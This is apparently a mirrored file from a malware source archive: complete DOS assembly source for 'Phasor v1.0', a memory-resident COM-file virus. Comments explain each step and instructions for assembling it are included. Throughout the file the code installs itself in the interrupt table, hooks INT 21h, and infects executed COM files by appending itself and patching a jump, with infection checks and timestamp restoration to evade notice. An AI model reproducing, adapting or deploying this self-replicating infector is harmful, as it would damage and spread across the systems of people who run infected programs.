mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
167 lines
10 KiB
NASM
167 lines
10 KiB
NASM
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; [Phasor] v1.0
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; Written by Memory Lapse of Phalcon/Skism
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;
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; This is a simple memory resident, COM infector. It hides in the unused
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; portion of the interrupt table starting at 0:1E0h.
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;
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; To Assemble:
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; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T
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;
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.model tiny ;
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.code ;
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.286 ;
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org 100h ;
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;
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start: ;Mark Start of Code
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v_start: ;Mark Start of Virus
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mov bp,0000h ;Self Modifying Delta
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delta equ $-002h ; Offset.
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;
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xor di,di ;Load Register w/Zero
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mov es,di ;ES = 000h
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;
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mov di,01E0h ;DI = 1E0h
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;
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cmp byte ptr es:[di],0BDh ;Virus Present?
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jz restoreCOMbytes ;(0BDh = MOV BP,XXXX)
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;
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push cs ;Save CS onto Stack
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pop ds ;Restore DS (CS=DS)
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;
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mov cx,(heap_end-v_start)/002h ;CX = # of Words To Copy
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lea si,[bp+100h] ;SI = Start of Virus
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rep movsw ;Copy Virus To Int Table
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;
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mov ax,offset i021h+0E0h ;AX = Handler + Offset
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;
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xchg ax,word ptr es:[084h] ;Modify Interrupt Table
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mov word ptr es:[i021hOffset+0E0h],ax ; To Point To Virus's
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; Interrupt 021h
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mov ax,es ; Handler.
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;
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xchg ax,word ptr es:[086h] ;
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mov word ptr es:[i021hSegment+0E0h],ax ;
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;
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restoreCOMbytes: ;
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push cs cs ;Equal Out Segment
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pop ds es ; Registers.
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;
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lea si,[bp+host_bytes] ;SI = Host's Bytes
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mov di,100h ;DI = Start of Host
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push di ;Save DI onto Stack
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mov byte ptr [di],0C3h ;Write RET to Host
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call di ;Call 100h (RET)
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;
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movsb ;Byte @ DS:[SI]=>ES:[DI]
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movsw ;Word @ DS:[SI]=>ES:[DI]
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;
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retn ;Return to Host Program.
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;
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host_bytes db 0CDh,020h,000h ;Buffer For Starting of
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; Host Program.
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infect: xor bp,bp ;Load Register w/Zero
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;
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mov ax,3D00h ;AX = 3D00h
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int 021h ;Open File in R/O Mode.
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;
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xchg ax,bx ;
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;
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push bx cs cs ;Save Handle, Equal Out
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pop ds es ; Segment Registers.
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;
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mov ax,1220h ;AX = 1220h
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int 02Fh ;Get JFT.
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;
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mov ax,1216h ;AX = 1216h
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mov bl,byte ptr es:[di] ;BL = Location of SFT
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int 02Fh ;Get SFT.
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;
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pop bx ;Restore File Handle
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;
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mov word ptr es:[di+002h],002h ;Open File For Read And
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; Write Mode.
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mov ah,03Fh ;AH = 3Fh
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mov cx,003h ;CX = # of Bytes To Read
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mov dx,offset host_bytes+0E0h ;DX = Buffer + Offset
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int 021h ;Read 003h Bytes To Bufr
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;
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mov si,dx ;SI = DX
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;
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cmp word ptr [si+000h],5A4Dh ;EXE File?
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jz closeCOMfile ;Exit Virus
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;
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cmp word ptr [si+000h],4D5Ah ;EXE File?
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jz closeCOMfile ;Exit Virus
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;
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push cx ;Save CX onto Stack.
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;
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mov ax,4202h ;AX = 4202h
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xor cx,cx ;Load Register w/Zero
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cwd ;Load Register w/Zero
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int 021h ;Move File Pointer @ EOF
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;
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pop cx ;Restore CX.
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;
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mov word ptr [delta+0E0h],ax ;Write Delta Offset
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;
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sub ax,cx ;Subtract 3h from Size.
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mov byte ptr [temp_buffer+0E0h+000h],0E9h ;Write Jump to Buffer
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mov word ptr [temp_buffer+0E0h+001h],ax ;Write Location to Buffr
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;
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sub ax,(v_end-v_start) ;Subtract Virus Length
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;
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cmp word ptr [si+001h],ax ;Is File Infected?
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jz closeCOMfile ;Jump if Infected.
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;
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mov ah,040h ;AH = 40h
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mov cx,(v_end-v_start) ;CX = # of Bytes to Wrte
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mov dx,01E0h ;DX = Data to Write
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int 021h ;Write To File.
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;
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mov word ptr es:[di+015h],bp ;Move File Pointer To
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mov word ptr es:[di+017h],bp ;Start of File.
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;
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mov ah,040h ;AH = 40h
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mov cx,003h ;CX = # of Bytes to Wrte
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mov dx,offset temp_buffer+0E0h ;DX = Data to Write
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int 021h ;Write To File.
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;
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mov ax,5701h ;AX = 5701h
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mov cx,word ptr es:[di+00Dh] ;CX = Time Stamp
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mov dx,word ptr es:[di+00Fh] ;DX = Date Stamp
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int 021h ;Set Time.
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;
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closeCOMfile: ;
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mov ah,03Eh ;AH = 3Eh
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int 021h ;Close File.
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;
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jmp exit ;Unconditional Jump
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;
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db "[ML/PS]" ;
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;
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i021h: pusha ;Preserve All Regs.
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push ds es ;Save Segment Registers.
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;
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sub ax,4B00h ;Executing A File?
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jnz exit ;Jump If Not 4B00h.
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;
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jmp infect ;Unconditional Jump.
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exit: pop es ds ;Restore Segment Regs.
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popa ;Restore All Registers.
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;
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int21h: db 0EAh ;JMP SSSS:OOOOO
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;
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v_end: ;End of Virus
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heap_start: ;Start of Heap
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;
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i021hOffset dw 001h dup (?) ;Buffer for Offset
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i021hSegment dw 001h dup (?) ;Buffer for Segment
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temp_buffer db 003h dup (?) ;Buffer for Calculations
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;
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heap_end: ;End of Heap
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;
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end start ;End of Source
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